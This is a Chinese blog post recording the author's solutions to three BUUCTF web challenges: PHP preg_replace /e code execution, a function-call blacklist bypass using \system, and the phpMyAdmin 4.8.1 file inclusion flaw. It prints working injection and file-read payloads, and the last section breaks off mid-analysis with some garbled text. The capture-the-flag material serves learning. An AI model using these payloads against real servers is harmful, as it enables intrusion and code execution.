BUUCTF 个人做题记录【6-18】

目录

1.[BJDCTF2020]ZJCTF,不过如此1

2.[网鼎杯 2020 朱雀组]phpweb 1

3.[GWCTF 2019]我有一个数据库 1


1.[BJDCTF2020]ZJCTF,不过如此1

题目打开直接看到源代码,进行代码审计

要求我们GET方式传入一个名为text,内容是 I have a dream,我们用php伪协议写入:

text=data://text/plain,I have a dream

还有一个参数file,从源码中可以知道我们可以利用文件包含读取next.php的内容,同样用php伪协议读取

file=php://filter/read=convert.bas64-encode/resource=next.php

第一个payload:

?text=data://text/plain,I have a dream&file=php://filter/read=convert.bas64-encode/resource=next.php

base64解码后的内容如下:

接着进行代码审计,这里知识点是pre_replace漏洞,先往下看,getFlag()函数对get方式传入的cmd参数的参数值当作代码执行,这是我们的漏洞利用点

下面说一下preg_replace(‘/(‘ . $ re . ‘)/ei‘,‘strtolower("\1")‘,$str);

参考:ZJCTF,不过如此_o3Ev的博客-CSDN博客

ZJCTF,不过如此_pakho_C的博客-CSDN博客

payload:

?\S*={${getFlag()}}&cmd=system('cat /flag');
解释:

preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当做代码来执行

正则表达式的\S:匹配所有非空白字符; .号:匹配除\n外的任意字符;
*号:匹配前面的字符0次或者多次
+号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)

php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)

这里的话第二个参数为strtolower("\1"),实际上也就是strtolower("\1"),而\1在正则表达式中有自己的意思,也就是指定第一个匹配项,简单来说就是取出正则表达式匹配后子匹配表达式的第一项
接着继续进行审计,来到foreach()函数,这个函数就是把我们传进去的参数变为正则,并且参数值变为字符串

2.[网鼎杯 2020 朱雀组]phpweb 1

题目打开

 看看源码

POST传入两个参数func和p,抓包看看

 我们试着把参数值替换掉

func=file_get_contents&p=index.php

看看能不能被执行

发现成功执行了我们的代码file_get_contents(index.php),我们把func当做函数名,p当作参数名,分别赋值,先看看index.php的内容:

 设置了黑名单,我们要想办法绕过,我们的传入的func和p通过gettime函数造成命令执行,要求func内容不为空,strlower()把所有字符转为小写

下面想办法绕过黑名单,对于system函数的过滤,我们用\system绕过,p的内容没有限制,\system=system,这就绕过了对system函数的过滤

用system('ls /')查看根目录下的内容

没有找到flag,我们直接用find函数查找

system('find / -name flag*') 

system('cat /tmp/flagoefiu4r93') 看看

发现了flag

3.[GWCTF 2019]我有一个数据库 1

 文件打开长这样,

 源码也是空空如也

 使用dirsearch爆破网站目录,发现了index.php,phpmyadmin, phpinofo以及root.txt

看看index.php

接着看 phpmyadmin,发现一个数据库

 我们要找的flag很可能就在数据库里面,在接下两个目录都没发有用的信息,就不累述了

查了一下,这个数据库版本存在漏洞:

(97条消息) phpmyadmin 4.8.1 远程文件包含漏洞_永不垂头的博客-CSDN博客

满足5个条件后就会include$_REQUEST[‘target’]的内容

$_REQUEST[‘target’]不为空
$_REQUEST[‘target’]是字符串
$_REQUEST[‘target’]不以index开头
R E Q U E S T [ ′ t a r g e t ′ ] 不 在 _REQUEST['target']不在 
R

 EQUEST[ 

 target 

 ]不在target_blacklist中
‘import.php’, ‘export.php’
Core::checkPageValidity($_REQUEST[‘target’])为真
代码在libraries\classes\Core.php 443-476行

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

$whitelist一开始未传参过来,所以会被赋值为self::$goto_whitelist,

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值